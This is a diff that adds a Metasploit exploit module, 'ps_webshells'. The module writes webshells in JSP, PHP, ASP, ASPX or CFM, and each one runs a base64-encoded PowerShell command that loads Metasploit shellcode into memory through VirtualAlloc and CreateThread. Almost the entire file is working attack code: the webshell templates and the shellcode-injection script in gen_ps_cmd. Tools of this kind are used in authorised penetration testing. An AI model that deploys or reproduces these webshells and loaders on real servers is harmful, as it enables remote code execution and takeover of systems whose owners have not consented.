|
| 1 | +require 'msf/core' |
| 2 | + |
| 3 | +class Metasploit3 < Msf::Exploit::Remote |
| 4 | + Rank = GreatRanking |
| 5 | + |
| 6 | + include Msf::Auxiliary::Report |
| 7 | + |
| 8 | + def initialize(info = {}) |
| 9 | + super(update_info(info, |
| 10 | + 'Name' => 'ps_webshells', |
| 11 | + 'Description' => %q{This module will generate a webshell in the language defined by |
| 12 | + the "WEB_LANG" option that passes a base64 encoded PowerShell |
| 13 | + command to the Windows operating system that will execute |
| 14 | + the defined MSF payload. |
| 15 | + This can be a handy way to deliver Metasploit payloads when you |
| 16 | + have the ability to upload arbitrary files to a web server. The |
| 17 | + txt extension can also be defined in order to write the raw |
| 18 | + PowerShell command to a file for manual execution.}, |
| 19 | + 'Author' => |
| 20 | + [ |
| 21 | + 'Scott Sutherland "nullbind" <scott.sutherland [at] netspi.com>', |
| 22 | + 'Ryan Gandrud "siegemaster" <ryan.gandrud [at] netspi.com>' |
| 23 | + ], |
| 24 | + 'Platform' => [ 'win' ], |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'References' => [['URL','http://www.exploit-monday.com/2011_10_16_archive.html']], |
| 27 | + 'Platform' => 'win', |
| 28 | + 'DisclosureDate' => 'Oct 10 2011', |
| 29 | + 'Targets' => |
| 30 | + [ |
| 31 | + [ 'Automatic', { } ], |
| 32 | + ], |
| 33 | + 'DefaultTarget' => 0 |
| 34 | + )) |
| 35 | + |
| 36 | + register_options( |
| 37 | + [ |
| 38 | + OptString.new('WEB_LANG', [true, 'TXT,JSP,PHP,ASP,ASPX,CFM', 'JSP']), |
| 39 | + OptString.new('TARGET_ARCH', [true, '64,32', '64']), |
| 40 | + OptString.new('OUT_DIR', [true, 'output directory', 'c:\\windows\\temp\\']), |
| 41 | + ], self.class) |
| 42 | + end |
| 43 | + |
| 44 | + def exploit |
| 45 | + |
| 46 | + # Validate architecture variable |
| 47 | + if datastore['TARGET_ARCH'] != "64" and datastore['TARGET_ARCH'] != "32" then |
| 48 | + print_error("Aborted! TARGET_ARCH \"#{datastore['TARGET_ARCH']}\" is invalid.\n") |
| 49 | + return |
| 50 | + end |
| 51 | + |
| 52 | + # Randomly set number of chars in file name |
| 53 | + the_name_len = 3 + rand(10) |
| 54 | + |
| 55 | + # Randomly set file name |
| 56 | + the_file_name = rand_text_alpha(the_name_len) |
| 57 | + |
| 58 | + # Display start to users |
| 59 | + print_status("Writing file for msf payload delivery to #{datastore['OUT_DIR']}#{the_file_name}.#{datastore['WEB_LANG']}...") |
| 60 | + |
| 61 | + # Generate powershell command |
| 62 | + ps_cmd = gen_ps_cmd |
| 63 | + |
| 64 | + # Generate web shell in specified language |
| 65 | + case datastore['WEB_LANG'].upcase |
| 66 | + when 'JSP' |
| 67 | + output = gen_JSP(ps_cmd) |
| 68 | + ext = "jsp" |
| 69 | + when 'PHP' |
| 70 | + output = gen_PHP(ps_cmd) |
| 71 | + ext = "php" |
| 72 | + when 'ASP' |
| 73 | + output = gen_ASP(ps_cmd) |
| 74 | + ext = "asp" |
| 75 | + when 'ASPX' |
| 76 | + output = gen_ASPX(ps_cmd) |
| 77 | + ext = "aspx" |
| 78 | + when 'CFM' |
| 79 | + output = gen_CFM(ps_cmd) |
| 80 | + ext = "cfm" |
| 81 | + when 'TXT' |
| 82 | + output = ps_cmd |
| 83 | + ext = "txt" |
| 84 | + else |
| 85 | + print_error("Aborted! Output file type is not supported.\n") |
| 86 | + return |
| 87 | + end |
| 88 | + |
| 89 | + # Output file to specified location |
| 90 | + File.open(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}", 'wb') { |file| file.write(output)} |
| 91 | + |
| 92 | + # Get file size |
| 93 | + web_shell_size = File.size(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}") |
| 94 | + |
| 95 | + # Display end to users |
| 96 | + print_good("#{web_shell_size} byte file written.\n") |
| 97 | + print_status("Module execution complete.\n") |
| 98 | + |
| 99 | + end |
| 100 | + |
| 101 | + |
| 102 | + # ------------------------------ |
| 103 | + # Generate powershell payload |
| 104 | + # ------------------------------ |
| 105 | + def gen_ps_cmd() |
| 106 | + |
| 107 | + # Create powershell script that will inject shell code from the selected payload |
| 108 | + myscript ="$code = @\" |
| 109 | +[DllImport(\"kernel32.dll\")] |
| 110 | +public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); |
| 111 | +[DllImport(\"kernel32.dll\")] |
| 112 | +public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); |
| 113 | +[DllImport(\"msvcrt.dll\")] |
| 114 | +public static extern IntPtr memset(IntPtr dest, uint src, uint count); |
| 115 | +\"@ |
| 116 | +$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru |
| 117 | +[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')} |
| 118 | +$size = 0x1000 |
| 119 | +if ($sc.Length -gt 0x1000) {$size = $sc.Length} |
| 120 | +$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) |
| 121 | +for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} |
| 122 | +$winFunc::CreateThread(0,0,$x,0,0,0)" |
| 123 | + |
| 124 | + # Unicode encode powershell script |
| 125 | + mytext_uni = Rex::Text.to_unicode(myscript) |
| 126 | + |
| 127 | + # Base64 encode unicoded script |
| 128 | + mytext_64 = Rex::Text.encode_base64(mytext_uni) |
| 129 | + |
| 130 | + # Setup path for powershell based on arch |
| 131 | + if datastore['TARGET_ARCH'] == "32" then |
| 132 | + mypath = "" |
| 133 | + else |
| 134 | + |
| 135 | + # Adjust slashes for txt vs web language output |
| 136 | + if datastore['WEB_LANG'] == "txt" then |
| 137 | + slashery = "\\" |
| 138 | + else |
| 139 | + slashery = "\\\\" |
| 140 | + end |
| 141 | + mypath="C:#{slashery}windows#{slashery}syswow64#{slashery}WindowsPowerShell#{slashery}v1.0#{slashery}" |
| 142 | + end |
| 143 | + |
| 144 | + # Create powershell command to be executed |
| 145 | + ps_cmd = "#{mypath}powershell.exe -noexit -noprofile -encodedCommand #{mytext_64}" |
| 146 | + |
| 147 | + return ps_cmd |
| 148 | + end |
| 149 | + |
| 150 | + |
| 151 | + # ------------------------------ |
| 152 | + # Generate jsp web shell |
| 153 | + # ------------------------------ |
| 154 | + def gen_JSP(ps_cmd) |
| 155 | + |
| 156 | + # Randomly set the var len |
| 157 | + the_var_len = 3 + rand(10) |
| 158 | + |
| 159 | + # Randomly set variable name |
| 160 | + jsp_var_name = rand_text_alpha(the_var_len) |
| 161 | + |
| 162 | + # Generate JSP script |
| 163 | + script = "<% |
| 164 | + Process #{jsp_var_name} = Runtime.getRuntime().exec(\"cmd.exe /c \" + \"#{ps_cmd}\"); |
| 165 | +%>" |
| 166 | + end |
| 167 | + |
| 168 | + |
| 169 | + # ------------------------------ |
| 170 | + # Generate php web shell |
| 171 | + # ------------------------------ |
| 172 | + def gen_PHP(ps_cmd) |
| 173 | + |
| 174 | + # Generate PHP script |
| 175 | + script = "<?php |
| 176 | + system(\'cmd.exe /c \' . \'#{ps_cmd}|echo 1>nul\'); |
| 177 | +?>" |
| 178 | + end |
| 179 | + |
| 180 | + |
| 181 | + # ------------------------------ |
| 182 | + # Generate asp web shell |
| 183 | + # ------------------------------ |
| 184 | + def gen_ASP(ps_cmd) |
| 185 | + |
| 186 | + # Randomly set the var len |
| 187 | + the_var_len = 3 + rand(10) |
| 188 | + |
| 189 | + # Randomly set variable name |
| 190 | + asp_var_name = rand_text_alpha(the_var_len) |
| 191 | + |
| 192 | + # Generate ASP script |
| 193 | + script = "<% |
| 194 | + set #{asp_var_name} = CreateObject(\"WScript.Shell\") |
| 195 | + #{asp_var_name}.run \"cmd.exe /c #{ps_cmd}\" |
| 196 | +%>" |
| 197 | + end |
| 198 | + |
| 199 | + |
| 200 | + # ------------------------------ |
| 201 | + # Generate aspx web shell |
| 202 | + # ------------------------------ |
| 203 | + def gen_ASPX(ps_cmd) |
| 204 | + |
| 205 | + # Randomly set variable name 1 |
| 206 | + the_var_len = 3 + rand(10) |
| 207 | + aspx_var_name1 = rand_text_alpha(the_var_len) |
| 208 | + |
| 209 | + # Randomly set variable name 2 |
| 210 | + the_var_len = 3 + rand(10) |
| 211 | + aspx_var_name2 = rand_text_alpha(the_var_len) |
| 212 | + |
| 213 | + # Randomly set variable name 3 |
| 214 | + the_var_len = 3 + rand(10) |
| 215 | + aspx_var_name3 = rand_text_alpha(the_var_len) |
| 216 | + |
| 217 | + # Generate ASPX script |
| 218 | + script = "<%@ Page Language=\"VB\" Debug=\"true\" %> |
| 219 | +<%@ import Namespace=\"system.IO\" %> |
| 220 | +<%@ import Namespace=\"System.Diagnostics\" %> |
| 221 | +
|
| 222 | +<script runat=\"server\"> |
| 223 | +
|
| 224 | +Sub #{aspx_var_name1}(Src As Object, E As EventArgs) |
| 225 | + Dim #{aspx_var_name2} As New Process() |
| 226 | + Dim #{aspx_var_name3} As New ProcessStartInfo(\"cmd.exe\") |
| 227 | + #{aspx_var_name3}.Arguments=\"/c #{ps_cmd}\" |
| 228 | + #{aspx_var_name2}.StartInfo = #{aspx_var_name3} |
| 229 | + #{aspx_var_name2}.Start() |
| 230 | +End Sub |
| 231 | +
|
| 232 | +</script> |
| 233 | +
|
| 234 | +<html onload=\"#{aspx_var_name1}\" runat=\"server\"> |
| 235 | +</html>" |
| 236 | + end |
| 237 | + |
| 238 | + |
| 239 | + # ------------------------------ |
| 240 | + # Generate cfm web shell |
| 241 | + # ------------------------------ |
| 242 | + def gen_CFM(ps_cmd) |
| 243 | + |
| 244 | + # Randomly set variable name 1 |
| 245 | + the_var_len = 3 + rand(10) |
| 246 | + cfm_var_name1 = rand_text_alpha(the_var_len) |
| 247 | + |
| 248 | + # Randomly set variable name 2 |
| 249 | + the_var_len = 3 + rand(10) |
| 250 | + cfm_var_name2 = rand_text_alpha(the_var_len) |
| 251 | + |
| 252 | + # Randomly set variable name 3 |
| 253 | + the_var_len = 3 + rand(10) |
| 254 | + cfm_var_name3 = rand_text_alpha(the_var_len) |
| 255 | + |
| 256 | + # Generate cfm script |
| 257 | + script = "<html> |
| 258 | +<body> |
| 259 | +<cfoutput> |
| 260 | +<table> |
| 261 | +<form method=\"POST\" action=\"\"> |
| 262 | + <tr> |
| 263 | + <td>Timeout:</td> |
| 264 | + <td>< input type=text name=\"timeout\" size=4 <cfif isdefined(\"form.timeout\")> value=\"#form.timeout#\" <cfelse> value=\"5\" </cfif> > </td> |
| 265 | + </tr> |
| 266 | +</table> |
| 267 | +<input type=submit value=\"Exec\" > |
| 268 | +</FORM> |
| 269 | +
|
| 270 | +<cfsavecontent variable=\"#{cfm_var_name1}\"> |
| 271 | +<cfexecute name = \"C:\\Windows\\System32\\cmd.exe\" arguments = \"/c #{ps_cmd}\" timeout = \"#Form.timeout#\"> |
| 272 | +</cfexecute> |
| 273 | +</cfsavecontent> |
| 274 | +<pre> |
| 275 | +##{cfm_var_name1}# |
| 276 | +</pre> |
| 277 | +</cfoutput> |
| 278 | +</body> |
| 279 | +</html>" |
| 280 | + end |
| 281 | + |
| 282 | +end |
0 commit comments